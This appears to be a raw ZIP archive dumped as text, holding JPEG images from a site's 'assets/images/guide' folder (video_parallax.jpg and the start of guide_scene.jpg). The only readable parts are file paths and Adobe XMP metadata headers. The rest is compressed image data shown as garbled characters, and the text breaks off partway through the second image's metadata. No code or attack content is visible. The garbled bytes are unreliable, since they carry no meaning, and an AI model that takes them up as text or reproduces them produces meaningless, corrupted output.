jk0%�8�`��&+Q��c�r��5�����^'>����-w�qT�g�E�X�>��]Οz����K$������弭gJ$�w�Q�c0[*�me��k�k�[w�>93(Wkn96���z�ޤ�|j��:��t���p����ߟ�ޞ�ӨN-�g��a��
�#/g�t�m�BSe�%�}��u�"}F���I��O��?�_�n�=���V��R����x�=n�/N���F��|����%j�ߦ�4��r��̪�U���z�Ŀ?�C[���w��������knʷ��Jɿ��궫mǩ�V��Ԕ��巹�Է�齓Jtŵ%w}V�[�U�m�Tb⪪^\2`yVA@Id*�4%��d����(թzֶk�lkn��R�(�4�|��ʹ����9�lk���O��*V�*���*~O��E�?��,�vI|���PK�y3\SLUWUW&assets/images/guide/video_parallax.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:D0F9CD0240C111E9BFDDDA11DBE3DC57" xmpMM:InstanceID="xmp.iid:D0F9CD0140C111E9BFDDDA11DBE3DC57" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5bdfa583-c4f0-3444-a164-7cb51abd2c2c" stRef:documentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��&Adobed�

�$�<�WS���		





���0��� 10@P!A"2`pB35�#4�DE1!AQ0P"2 @aBq�Rr`�#3Cp�Ⴁb4 �`1P�A!1QaA 0@Pq�����`p��ᰠ�����uvs"^~N�P�����N�R����X�՟>x�t�G6p�7�����b`H� :���s�Ir�*@]��H�t��)х�sg�v���ƵhV�e�tj�
�y8:����f�dA���\�2.I��fnfbsR���8�F�ܲ������f=ڳ��YцT�I|�����N��cB�����"�͌�,P��Hk��� A �H��pu�
����HR(!A�˓�� l�B��(!H
!B"%3(T�U��$31�&ՠ��5��(�lf
�@�Dk�g8:
������4���@��:�i��buP@I @H�.P�3�@B#�u��y�����@�5*��A�dX@H�́�y ��.�\���Ab �������@��SR
�
Ns�$��˂HI��9N �hX���b�
eI~�/����� 'U���(X��t�F%�$$�03��$�@
+p@`	 $��
�@$�� �  (I�H@�� )����ֶL��lfcM�@�B���s@5�؃ �;
ϟ ��;R��J�I����$ ���;���,��$p����bbt3$�3,T�H��`|�e����,fP��3,	*
2.X�ȡ�@Q�B��A 	 �	 	 �	 I	 �I�	@$^���+�^��M@$�	I��@g��>:�����כH(
RRI����}��4��s��wj�ٌ#�՜�n�"�S^^G��͒A�w�Ā�c�@
HY@R\�W�5!|�M�Ae,6{�E�:p�E��ŷGNx��wj�9wy����%��V!�rր����ך$���UvN���9ʭ����B�6=��MV��i�ڼ��y�e,6{�E�:0�Xg˞O�ӖS�߫�����זS�ӳ��ߖ��Myy�(���Ì�\�Q�@P��/!�ju��MWT��Xl����P�H 5��x��!HR	@�@�����}� � ,A��៑��$�	 �@� �� H �I�`|�
a��&%
@�\�ؐ �A$��`��`���Xr@
�N8el<�W���mn��@�1����
��X�yX?j_�?;?1L@�������,T�6	�ht�n<��K�����ҠdI�f
NC�=�ה�*�P�;A�&�u��c�����x�ڗ���'��@�Ӏ�<��R���%��,T�N�y���C����9MK���9X?j_�?;?1L@���:�LM�X�S�^#PX��@ @���W�S�6��*@IrAb��]n��.T��Z��H`q�;+p!�޺����X��j�6�#8�-Z�:�'YC��=��??����(� �BK9��X�$6 �̱�����>��rH9���H<#��rG�bs�;�
ϛ*=���O�j=SS#��:��s��Nc@X̱�fs��:S#� �0?����ۊۊۊۊۊۊۊۊۊۊۊۊۊۊۊۊۊۊۊۊ0�&L�2dɓ&L�2dɓ&M�ݍ�݌�2dɓ&L�2dɓ&񇗚�98щ��C��ġ�6x�.@Ip�?#�zb'ހ�����u�J�B%��W��Ѫ�����p�r%n�!�f��?�BR�x�c�\��\6��H:q��Ϟ�2�e/��A�/�LbaVD};�}wB��H�ے�,��B����+%���Z_���n��9�è�q��0���B��f3���z��{O.$
T���P���dCF��;�QٮCdHN�wQ���'8�o�`_ $j�A0�i�1�CG�_�O/1r��)�r��)�r��)�r��)�r��)�s�kZ�s��k(O�L�/ܺ�K����R��/6��1>jK�|{�N�:t�ӧN�:t�ӧN�:���P>��:t�ӧN�:t�ӧN�:t�������χ����٘��?��>��[��DH{��К��i��s�#�
��vq��2�Dv��h�e�>���;۱3k�O����Q�(�m���u�8i�q
i�ױRةe�Ƕ��KL���f�@u�i�@		��8����;�q0��O�2�|
_T__�`��C����q
���|Xv����a �t�C^�j�4��Fb"f$�E����_��HD{��0���n��s�Ac��E"�Wb�d�p|8���>?h��<g�/y��=�9�_����
�/��2!���y����iG��|�Q�c:1D7r�=�����Z
��Su��1cY��ܡ�Uu�l�B��؄�� 	F2
!�ezg�j��4bA0�Zd�����B2�R��g�6bV�7�������V��v�tѷ��N�m��6z��虈Ȗ�Q�[�U_���e�I"�~{}J��c�+	�&�H�V��dH��"Y�F�ƛi����&5�V�!dv7��;;�N6\	������@Ul@��@����Fȋ�h#dh[�ئ��;�
ŕ��/l둝�wr�(\5Sd`~>J-�#"���Ժz�OR��]=K��t�.���Ժz�OR��]=K��t�.���Ժz�OR��R��	�`�&	�`�&	�`�&	�`�&	�`�&�0L�0L�0L�0L�0L1��O�� �s��?l��Ų����q�m'=���˶�ab��F1ڤ��ꨬYi�����T��H���*��T�J��F�E|g���F~�^}�L흘��_�ٕ��F��Î�e�E6�*ψ�˕tUH�]��.���@5Bb�o�ЖA��Ί�\c�P6�a�8UU*q�¿��p�ٴᜌ9F�Óg�/~sY�M�ζ�fM��ၱ�=C��|���p�e�.�u��G�7W^u2���.�m��:�:X���c�9
2��9pd�	b���+!�~�?�܇�Ҝ2k��򪶡�+��Å��":xG
E�ʢ����$�=}��9��O��)Q�L"k���*�-������۵�����L;�τs�/<)�Ůk\ֹ�sZ��k��5�k\ֹ�sZ��k��5�k\ֹ�sZ�����kT�uIf��?�J�$� ��`>u;;�Y�O��~md�x
���	s�c�]�����Ej+QZ��V����Ej+QZ��V����Ej*ٝ>
��:��V����Ej+QZ��V����Ej+QZ��V�������[O���͇����치������K��������d=��HM]M�����t�9NS��9Z��~�)s���_G틣�ŕF%q��qf��O]���ڿ�vg�n&u~�^���MB�LJ�Ő$1���5-}�;O�����K��]"�|z+�����m������ �J֫����p�1�7���j�Qٟ�X�5���9y���r�w�)�%��~0m-�{O���K�Ӯ�gW���B�΋!+k۲؛��������tk�����D��t��W]m�q���c#uBӤz'�k$m��o�=���\�-���y��or������>n�&L�2dɓp~�)s�OP�𿧈�)�b��)�b��)�b��)�b��)�b��+IR|C�%1LS�1LS�1LS�1LS�1LS�1_7)�r��)�r��)�r��)�r��)�r��)ʲ.<q`�9NS��9NS��9NS��9NS��9NS��9�!��8�}�+�V
 ��Tk�MA��˷L��HT?=N%��S�����VE�=��Cۋ������8�٭2s	�a0eU���e\આ�2q��ٹ��-�ι�R�؁]�h��Wd+�j�+.Ų�2tkػH���V��/��Ur�7��
>�I��tìʞ�U�ů 	���.�p�N@�+������NU�7F9X_���*���Ȝ����m����w-�&r�3�
�l�n<Ey8W��~�$�̘�h�Yy��\��"����y�!��uY9�s�'�[�D�c��H�ˮ0���L�-�)��Ȯ9�e��ɪ��e�WSWC��\*�#��k(�"�YW��+���u8���0�+�g���+"s���o��������-h@Z����-h@Z����#����	)�����a�݅|P�>lT{~��n��>d�ӧN�:t�ӧN�:t�ӧO�-����������������������������������������Po����ۊ2~I��^9r�Yr�� R?(���R_��P��˗��_"�&�f="|��A��xe��,�~�/1�V����Ej+QZ��V����Ej+QZ��V����G������Ե-KRԵ-KRԵ-KRԵ-KRԵ-KR�y�~!����'�H��p�·
�+p�·
�+p�·
�+p�·
�+p�·
�(X~m��oN1��B�}dP@z�/�
�����)s�>��*^��G?����Q��Y0L�0L�2`�&Lɂ`�0M���?�j�L#�5�Blz��?r�Pl)@c��?����pEc-{�?J�g�=�]J�~�t朥����
i���P�w*��TX�CP�bx���!̓2W�`��S\>a�:AG�{�OQ�1]Hq��Rm�uW�$b-�)��=�~+@�7�A�������]����;?"H$.�?Jy�D�T둊��䡞��>�&��,3F����p��3N��qP�C8��IqG�\1��8f�3A�R๪��B�QU�*��
���ƭ1�
t�T���?���d��xmq����ޣi�S�u��*/Y��l�z~o��Z�f
7}���y�Dm�ic�6�Ӌ�\�p:=�w���ѿ{�h��/��Q{[�bc�jc�'��n	
JK��b��P2*P�	ɨ��ſs�k��},��cG�g�>
�A���_��ys�܏aAEE�o�>k	���~�"�2Q��xݝ����r���(�b���5�[�uWjt-6�A�>�M��_Ȍv��mq��sX���vI��Ov�⠃���EC5�1��R1RX(,B��k�T���AF,a��1�=���3QԦ�|շ�PB�"y�������-�8d�vI��C$HD��5bSi�M�2��6:*}:+�Nk�������f�� ��&���<�h��Z�8�$Z�R�N(_�W�.��H&*��k�Q`�ꛙ!@� �<�srU�m��N�{����G%.�)v�IIIK�]�RR�'x�
w��j��h~���9K�J����)w�t�p[���|��]T9H���>M��7\.�B�\sZ��ʧ�3R��C�l;��)�7b�X���s)�m��
��E�I�qc	̹l6�#0��t|S�0��sL��1�S���まh��zʻ}1uX!�KT!zx0VŖ�qq*Ӈ�%�c���bA�=�{�]hq�%[��y�eo���-v��F��!aܱ]*[ђ��ʜ/} u�8ۇ_�6�QpO�h;�&@���-9��؀���?O0d���C�V�\qF��sXt���]���#�Uh����+j�81N���ہ��4Dc���i�ĉ�t8�2A��J���J���$�]齸�F�@z��qw�\lx��+�'��&��t�1��k�a2��L=@�A��k��@]F��֟J�j��~'E���t�
sq�s��Re���ߴ��N򚚚�������������������^�ϳ7������x��3ޱ�1ސ��O
�ޣi�S����Qx�Ϧ�e��~��~�"��0Q��x����#n�Kٴ����va~�_�Tlܬ�)*`�;��&�v����E�G�x���������<�:"e
W0*�*
�II�n�9�+�.@�`�q����SV��"�B�5SD���V��:,�d��f��
�~�v�}�X9��#m���3��㊻&�sN�ǰC�����Z�և�<���H��k��h0dPx�U��{sq�[?LӌI�p�9��o��\�&J6����y�Tn]q{�7��T&�j���.ײ���@r�UڝM��碃�6}6[/������􇁆��~9�h��N�����;3ߺvK�]��u"��!���咷z�c�$���A�Nq�mʸ���i*�qh�D�@��"W`��Q��%�T����@�D6!S-`�R��$�R�0���
W���Ӯ�}y,�iù^�]O�J�\�2�+�_��ji����G�����Q���g�|��Q���ˊ{��2Wy���`��.3v��Bᚶ-`]2�A����SY�[��b�G��J�Hv��[��X:OQ�I<YN��Y<�t�T,��M�3DΘ�;rM��J�Un	�2\_�)֯~۔-]�� ���n�H�\�7"�x�tӜ�:��6}qO�s�0�e��E^��Γ`�e��e�rh�]q����M��|�0Gs@<�E�?���?!�j+�M&�I��i4�M&�I��i4�M&�H�8P@� @� @��� B B @� @��W^W�
�U[ʻ�+��u�s����J��Ʀ�(h%xS��n�(!�1�dIt�+����<�駂+v�d�$����
�;[$���W!�i������o�Bڢ8m�br>�;�:�TDG�H�b��h��qu��5������}�[�"s.���":�u�!�VbNI
��h=Ri�k>�\)�o��ڻWo�3~$L���T���#�ѣ��G���AU!���?˹߹]v�OtI��Z�J���|	t'�j�+��*���w��O`�IP�BU�����g��U')t*ZT ���o���@�Q��y��PTTZ��N��U���V�t��Щ1��"Y�'$�#���KJ،�5Pȕ'�5D/�w�W^.�������t/߹]y_�+yUo*�߼o鷛���y��o7����y��o7�;�j�Q�#/�_,^�z�TUc.�S+w���ig�
,�����V�h�+�#:�u�'�保n	$H�"D�$H�"D�$H��3��F	$H�"D�$H�"D�$H������4��L���4��u���M�󫼵�����!)��D�M��^����P����,x2I,�K%��d���@n\��m��OcԗcO)��}���۱5��	t�=k�X����t${�Ȥۅq�t�-�FF.�jp���aﷆ��$�4�v�>�="=�*uR�hq��}�-ib��V&[�Gh�%A\P����ژ2%C���~�����oۧ���ԋ��R�u9#�xk�$W�/�ؕ��Ҿ
PO$2�።�	u]x�MB��	���B��q�m>�U�J�e$�MD3�����	%�d(I������T����,xL�tr(�"t�r*4�K�=��ƥ"t+<5�Y>~JM��ZNcM]6\l��G��� ��AxK���ǓH�|��d2�C!��d2�C!��d2m��y@K2�C!��d2�C!��d2�C8�Y,�K%��d�Y,�K%��d�Y,�K%�ȓ��0'�K%��d�Y,�K%��d�Y,�K%��d�_�EE�y���C[<Ykg�-�Q���e���u���h�^ȅ�k*�_������Rãk���C�0W����8`ޒ��
C��X��Y���'MBg�9&�Q�,��S5�����ҁ	-2S�M��v�b�\���i��(�"H\>�e���4F�!��@��(��E���pT:3��a���n�(�����"��"�X�q���A�_Ab�#�P��P����W��EU*�wm�州Ř��B:��E#���	��J6�u��P[���<�24-�����
�VQ��K[�NƋT������
ݖ��Ԡ�{�e0���Q+�S��h����$�B誕������LyZ�����~�p���,y[<�ϻ�.�&p�����Y�	�f
���^�](�
J�,�qMf~Ȯ+��s�߮X�UB|����&C�"�s��k�I���)8��v|��U�q�
]5�CvM�wY���o�?'n�CZ�E�N-."Y|�t�1Ѥ�/t$3ϒ
}��ߺ�w�8]�S��TД�U4�mx!(�<��B1�J�I��ͣ�A�*���e'e�}r�c��d�P#)r|�P�8���:��h-����
�$|R�C�&
�_M/h�;�̬"#�U#t�G�J���'[$�ur,%\8+)+a��
aw.}�`�v5xE�R{!=��*�G�>H$�vdW؛1
&G��G�C�
?i'�DT�V�#4I7Yd�?x-<-	9���*����Un�$sQi5�a!X9@իW�����M�wL��-�B�M�[���Q�ŗ�1��m#'�%\�ʸ:��0�#%���43<$Cԥì�'u��p��B��!�]�T��GHD���wh!u��H#��w�8^4vGO�X�y[��&ɲl�&ɲl�&ɲl�&ɲl�&ɲl��	d�Y,�KX��Vp7]�Id�*��%w#��fK�,�K%��d�Y,�K%��d�Y,�K�/$�Y/$���
�S�ཨ�P�jL9�`ßX�><��jb�#\Yꎊ_��OPUR��Wɶh^���"A"���(��+�|��ǀ�]֚4��]d���|���WE�,����A�)M;����-��߱�أ�����o�m"}�U!8���}����ϩT��*}�:�aDp���wW�dѪ��?E�Z�$���c��c���A�j�XjN]n,
%�␈�$Ħ9G�CP�e'V�_�ܮ]�w���J�x��'0#�-&M�@�q�X��H^.P�R�_$���E�\���C�%П2Rz?�}���N\(T��������phR�H�Ž�Q~:+t�}����~�d�2K;�W��A�i�e�$���L���f0�B)��T��㙱![�?EȂ�P�Wm�5&Rt{?s��W{;-�	(߀Ԯ�VDR�J�����$�T>x���S	�����W.�A�<�
�7�=i�o�;��a�M���
I�r$H�"D��G_�ܮ��ZY�4>Z.�m�4
�Q��j5�F�Q��h4�F�Pء��{q�Z��HP���h4��A��h4�F�Q��h4�H��,�l6
��a��l6
��a��l6
��؏�Ȼ1�
��a��l6
��a��l6
��a���b�Ǔ�x�aǭW(c�<�ʽp�w��6��v�f�A$�*��(�n^	폔i�|�)B�do8K�#�.��Kk��,OӥĄ�(h���?�L�,6�.X�����xl����QH��B\�V�lщVȎs����]�^ɓ]`�%\������"
zX^A7�.&Mtߒ��"Y6�c�`�C���;�����(������=#������J��!S,���$��U	�:��82Z���
�3��L�KH��%VhrTۤ'����D�k�a8oEqtRl�I%�"J`'�~�����	��<�d�qX�O4sĻ�
1� �v��=|���Y��#R��FjNa�ci{$�g���rX���ss'�#�8�>dc�p��;.�,MS%�I']%��P@yr�m�F�7K����?!�t�B��l��š'l��Y�+�˜��|��q�k%h��Vz��v�ae��V *H��=�z��z��z��$H�"D�$H�"D�$K������+{�U�[�'u�HK>
��*����܊���֏���ԝG�TՏ:�	v^�~�Dj�e�To5��	U���$F)R O�����[ޢ��oz��a��l6
��a��l6
��a��l��;��?!�jȑ"D�$H�"D�$H�"Bo�k�`�v�E<VEA�%RES�Be�{U�Yw&�TW���TOv���+��]�P�D"�B!�D"�B!�D"��������?Qv�E۵
W$=�'�����.ݷ�Y�"���l���z�

%۵�/���5GML�A9ld$ԕH2"���/��o+kԣ�Q��j5�F�85���j#�Q��
D������m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m���������m��m��m��m��m��om�$�I$�I$�[m��m��l��m��m��[mI$2�f�I%��%�Y$��-�[,�Km�v�BIZ��L`Ie�[l��%��m��e��m��ВGݢRYm��l�Im��e��m��gm�$�Ke��$�[m��m��l��-��m���mI��m��I��m��m��-��m��m�v�h �A @{}��&�?��|�����m��m��m��m�����m��m��m��m��m��m��m�������m��m��m��m��m��m��m������6�m��m��m��m��m��m��o��������m��m��m��o���}������]������m����m��o���m��m�Ӷ�m��m��[m��m��m��i�������m��m��m��n��m��}���������m��m��u�ۭ��mx�R��%�#�����I�A$�m��J�[v�-���i:H���m��`��7[m�ڒ����l���J����m��m��n��M��m��������6�m��A&�u�߭��m��m���������m��m��m���i��i��z�o��m�ޛM4�M��o[m��Km��m�[?������[
��E�[��m��m��m��i�����Ͷ�m��m��m��m��m��m��O�����m��m��m��m��m��m��m�������m��m��m��m��m��m��m��O��m��m��m��m��o��m����m��}��m��m����o�m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m��m�Km�Y%��m��l��m��m��m��m��d��l��,�I%��l��m��m��m��m��,��l�Il�Ke�K-��m��m��m��m��l�I$�I$�I$�I$�I$�I$�I$��d�K$�Ke�[m�Ym��m�Im��e�I$�I-��d�K,�I,�I$�Id��%�I%�[m�m���m��������m��o��m��m������o��m����}������m��m��m�����o��m��m��}�e��m�[m�	  �}�$�I$�I#��o����/��|���w�zH�0*T�H�<�Kn�M��2����M�ْW,�x��=�VSI�ۿ�l"�e���m�d�8�bd�_]�e������-���m�$A�I#����c�]/��y��o�v�q-�I5�Y'w�{w��o����<�k_��I$�I$�I�o�7�}��I��m.�m��o�����?�����}��m��}��}����m����������o��o����m��o��w����������}��o��m�����������o��m��m��}����������������_���������o���m��m����������m��m��7���}��m���������}��o��;�}��o��o���������n�m��{l�y��m���������@!�����I>��-����@�����$��v�붶_���,���������o�xϾ�m��}��}�������=��|I$����o����m������������ﭶ�o��m�������ն�m����6�m5�_��lۿ������n����=����}����o�������o��m����������o�������m����������m��}�_���/����m��m��}��m��m��o�O�����m��}������������������������������������������������������������������������������w���������������������������}���.��v����������������o��M���6�M4�����������������m6�m��i'����������������������������������������������������������������������������������������������?�jT�,��7��x�7��x�7��x�7��{��7��xY�R�4�ʀ4���h���P��HV^�S��\�H�{v1��~��2%�D�WfQ�ŘpU�7�4�i�Ĩ(�B�8�C2�YT���I
�I��Hv�8�=�xX�T�b8�qQ��d`߲"P�<EF��M=�k3�RSM41�6\���M���WM{�nɿe%yP�)��Џ�r@]@Ҍ�E!Ũ�0$I�Fa��Q���	.�
�I��R��u�ﴅe��O�J�M6�PbH��G
<����B�V���ʒ`�5Q��r,(T�Ȧ�pFQĆ���2��2�c��0�Ci�Du(�,�	�A�T.�&H��ur%5E�&G���BH���Q��N����{X��r%$���N2%�Y�h���F�DC	�Z��H�W)f)M-Â(��ӸD.��ﰅe����[xRRs tt*4$��C�
�l�)�a6b#�Zr"��5�AF�$���)V٬7D��͡\K!i�!-��>���.4.�{�#��&��GG��贓�!H�"Ɛ�S�u0���Y��+��.�8b�_�t^�����w+��iBRo�҉\�ڠX�8մ|�e��8��,9�jz��t�������T�M,h!b�)�H^X!Dv��c�)��N�D(!�W!1(��,h�BH��BIw\�HI��R
�GX!�A2��~acҫ���?&�ɳ�l��?&�ɳ�l��?&�ɳ�l��?&�ɳ�l��?&�ɳ�7�o���K�/$���8)nJT��
��_�\�n�M�2��ȝ�7��$o�)�NVQ/$���K�/$���K�/$���K�/$���K�/$���K�/$���K�/$���*!���w-���v�I����d+pxk��h�Ϗ!6�<z��@��h�E�낥pC�\�\�\�R�?�
��\��nnʬs[�"�pMU:��+��+��+���R�+��+��+��+��+��+��F4.;Uv�z;M�ޫ��m�M��h���Y,�K%��d�Y,�K%��d�Y,j����m��6�z;M�ގ�oGoGi��m���WE�-$0��BHq_�
S�M��J�≻�A?�-����w�<�o��3���
�M5t���q�0����ƥK�8wMU5F��<?
x-߾���?"i��}������k�M�O�Ud�I,��#gA���H�l`t��{��!�L��U� �7���c�j��t|�nS��'A4d�ɩ��G>p��J��f�)j�#�*��M�4�t�1$�c����A*y)�bp��>�t]��i:�g�Q��4Huk�5Α����	`$Z��
���c�\H^ F"�%9)	~F�$��!�O��
‘�j��+�$�&,PN!�Q+�BR%iKbG����]R�>('-_L���2G�d�Oz��Ubb��o�D�4�d'�}��+�R�i8P�,�un�˧��WE��߼�C������(%m����[nJЇ/���L�`�
�C��G�q�)"B,�;�M��,��e�U�U1�8
iQ>G.�[��Ĉ�HѪ��\L��$��c��8؉m���cR��$���V�W���t^lX"���`O�{�.�Y�G�	O�����w��%<��H@e)%��&EO�5��ך&�	$�I�<=�İK�C��Ka"���w�D%�c�s�v�^[��+�۔�M&�I��i5��f�Y��k5�M&�Q��0�t:1��W�T�}{+ذ�����T*#Y��k5�Mf�I��i5��&�I��k5����3c6
��͆�c63a����l6
��l6��ؼ�d��F�lf�lf�l63c6
��͆�lf�a��͆�g�Hh��<��,��%O%��TpY-E�?���P�඄��_�/\i5
J�+�/�!hM��w_�!�	�w��&��4��J���낸+��+��+��*WpWJ�+���\�\��+����T�
�
�+��*WJ�:~
��J��R�*WzWO�R��*W�qҸ+���P��F��B�?"�(P�P�:Sh�B�(A:S
`�t�X)��(P�"��#E:P�
#EX(P���!�SE0S�)6�J[�D�B��Ɖ9�n��U�*ӑ+ș.�h|���M��vKi6pq|�mf��BH��de(�I�e����q9�f�.����c�����Rk%M"�XI2���%�c̅�X�p�3�I'D��d�O���z!�64ȭ&%�Q5�Sѐ��
�O��S䰃�k���U�|JR>��=�p�2.CB
y?` +*xNz�t5xSԖE�(��aJ��Dq�A\�Ք2�ąZ�9U\U{��Eڏ�HNq<f�����BD��ņE��.D�4v3#X���2�^���d��f����Z�ivo��:���Z
a�0XĐ�HQ�1��Np#����8(�,�Ɏ�����R�a1Y��5�m{C����D�U<�b�����Ą�3��{%s'J\�<���T��Q/��R�B���M(e��)C#���5��Z�Ę�d�I$�K$�I$�I$�I'��I$�I$�Id�Y$�K$�I$�Id��$�Y$�I$�I$��gÒzIN��$�zIB�$�OI$�{$��zJ��'��OJx���ӲOd���՚&'��Rn������o|���&�ɵ�m|��&�ɷ�m|��_&�ɽ�m��#%��\�+j��j5��j5�F�Q��j5�F�P̚5��F�Q��j5�F�Q��j5�F�d�����yO�>����k�?q}��F$�pہyuMRmJD:��/|
���
d߲���Gf�'�#Z��3%�3RE�X���D�y|	3�����8L���Tj�w�3�v1&0�H��C(5�' �gV&Ƨ%pd�P��?)�o�'=�Т����+I4�;��~�j����p�O���v��Aw?6I,��!6J�Y:���[+ڊ$G�{U�T�ȿq%�&�caCHፄ�ڻ��~�����
k�B��dY�j�E)�h�F^2�.!HVa��!����Q�C���ٞ�/Ⱥ�IR���$;�N�x�
�Bq�@�aJ�_gٟC�S�[��Ւjb��9$��
<Ԓ���X(RO�)���W*�i�줗�V��p8\hYȢ�K�?��sF��aUȤ�i��w*���b��2]��&���	E�6�i$�Z��D��T/��v����p�Y:�P"R�o�du���Ax��?q}��V�d���8�v�Ш��"��&b��p�	�Bٔ�c���
Y>1��	�f6W/q4˻$T�	��̋����P>�ҿ�s��b8`��p�Q��#1R�[~�����J*��T��<p �W+R 3�n�-*�t��͔z��Y���udk�UB�'��}j�rGl���m��"B�3�rD�5Mk�)�V�:i_�]�c��?q}�쥘�JM(��p4��"�-b1\��aIJ!C��
%��ϡڒNR�#IĢ�T��!L�r6]��`��Eb1\���W#F�$����|
!FQL	%DV�
"($:*�&媍БYG�>���~�2�C!��d2�C$C!����}!#��!#���Y���������������������oM2�RAf�����͌���
Wm�Evٲ,�K�Ԇ˶ċ6�{Ԡ����6��
eN�3p����͌\����ͬ�������ͬ����̓`����6
쯠���c�������7�-���+�vȵ�~+����	��U>}^{e7._�=2��ժO�#R6�y�x!���xd<2��C�!���xd<2��C�!���xd<2�PI-�'.��"�p겹
��?r��C�!���xd<22��C�!���xd<2��ޔ��Z\޾
��ؾ
��ھ
��ؾ
��ؾ
��ؾ
��ؾ
��ھ
��ھ
��ھ
��ھj�_e_&�[���l_��l_��l_��l_��m_��m_��l_��m_��m_��l_��m_xNa�X�^\HpT��2H%	!��ɭ��t%[�&�	�Z�|�<��
���b1������c�70ؘm�E�#Rnrpj�Ux�?�q���l6
��j9U���v!�Q����v3D�3���d$�t �$�����q�8.��7-���c��j����Q�Ld�t�В,g&�;ӆ�<�H��m���fX��K�@����j��c�f��)Mm�����Ħ�^c�v�B�mH���b����[��;k-�lLE_��+
N�kNe*�Y	m��ZF	�~���n��Rb̎IN�Ukq�U�P�\�Ck����۪�d|PNZ:�/A$��2���E��~p*�m��MK���%�� 쥴
"�{H���ۣ��VE�o��`���&�S��������M^T��h��]6���4D���\!�o�q"
&��Y�x�\U�Hu�Mڢ����Ir��hF���1Ƌ	��I]��[�lD�����7)vIQ%D��
���� ��p�:Hl������$��� �-�9��G��B�ӒDk	Ԇ�ˑ���cߴ4��#��G,H��C���x�A)I.���Eo�5����6xH
��ફ1��4�M&�I��Ft-)�cˈ��W�9��S�xs�eF���O��ofٶm�Fٴm�پm��m����I
�����.��r 2�P��o��o�f��m��m�fٶm�\yOz]�F��l��l��l��l��l��FOϑLO��6
�p�6
�p�6
�p�6
�`�6
�`�6۫u��v��\?�M����J�T�>h��%�(��&$��D��fG��C���Ǘ��:,/\@�$wN�]�|��K��e�~�WP$ݔ�A�e��o���6ő.���C�!���xd<2�d<2��C�!���xd<2��C�!���xd<2��C�!���xd<2��C�!���xd<2��C�!���xd<2xd<2��C�!���xd<2��C�!���xd<2��B�!a��XD,"�,"��S��B�!a��XD,"��B�!a��XD,"��B�!a��XD,"��B�!a��XD,"��B�!a��XD,"��B�!a�����XD,"��B�!a��XD,/�$6�%["r]�( 6�5�y�ӷ����ڶ�ěi��C2�Ji	MVٔ�c��;�;Wn`E��7Ԣ�e{U��6UD�"��=�T�@�鲥��k%���!u#�r��ҥ��DD)��J�n����a�T�
��	R�|cǼ(*�����	�D1Wf;���#�Ԕ�l��6d��C\S	dR�GT�d�j����i
/��{�s�}���>�AT�R%�E���C
U��>T�M����
�@�R�*6N�ل<GdQ-Fn�>��!9R�O��aH٣�T�ю��n���H�GŕF,O8�ܩ+Ʃf\H�e�U�F��hHJm�݋܎[8\�Y}�Il�UU$
�4j�RK ���^����heҨjS%��ۥ�=�>u�~��J�q-j��'u#}�TY�&u�-2�2MIJ9d7%U]�/��E=�w*)�:������U�X������tE�W(�+��5>��4�4��:m򑄉0J�$�>l��m��pJr�؟M����Eٽة�j�19C��h=��Rj�3�j��GטoѠ������oo>%=Z�c��c��tv׳��?�j+�
�A��h4
�A��h4
�@�?Q�y[��kB��J�M��d�&�+��m�5P>�I����rdRS���AM�:bcA(Q�|^�r�IaTŖHF�*E
��=�a5|
�ʖ��T�I��/P�xs�_�\� � � � � ��^���n7���q��n7���q��n6<	'�I��[?���>���%��AcQ��j5�F�Q��j5�F�Q��*
�� � �#�AGH � � �:AAw����B��Z��d�
Z_�����'�6�����W���+.ϠAH��
�5&t1,�0�L�
��	p1�.W2��
ޡk�V]�ۥ�!$1�J�n���*�s0W�
��\Sa��f��#�_r$I۳�
ޡk�V]�OI'����oP��%DAAAAA	�
ޣ�o��o��o��o��o���F���$������Y���=d���$�OI�ߓL��OI'���$�|��k��3���ʯQ~����7����+�A�G�:��O�Z��?�j;y_�����Z^���lz��jCUF��M���-z��mȞB��͸�
N�7bt5A!���{�m��nZ�2�h$���)6 J�d��&U"��Z�o+k�]�'���I�=��:�F�Q��j5�F�Q��j5�F�Q������l6
��a��l6
��a��l6T��O|��z�l��=$����>�B��ؒ�y
dsײ	�	����ÿe�rA�J�CH��8�.	�$�ha�"Зa�s��?a߱�=�5�H���
Bh�J�\L�*�a���PIXx�A���5;>�B��;��X��p~�s�n��I$�I$�I$�I$�H� �GH�4
CP�5
CP�5
CX�5
cP�5�A'��G���:GX���wGX���J}iv�?��G����PK�y3\c
�2��#assets/images/guide/guide_scene.jpgnu�[������ExifII*��Ducky<��http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4c32797c-52b6-428c-825f-5f23cb5e3811" xmpMM:DocumentID="xmp.did:85B8CBAA40C111E998D6F6B49A16F48F" xmpMM:InstanceID="xmp.iid:85B8CBA940C111E998D6F6B49A16F48F" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom 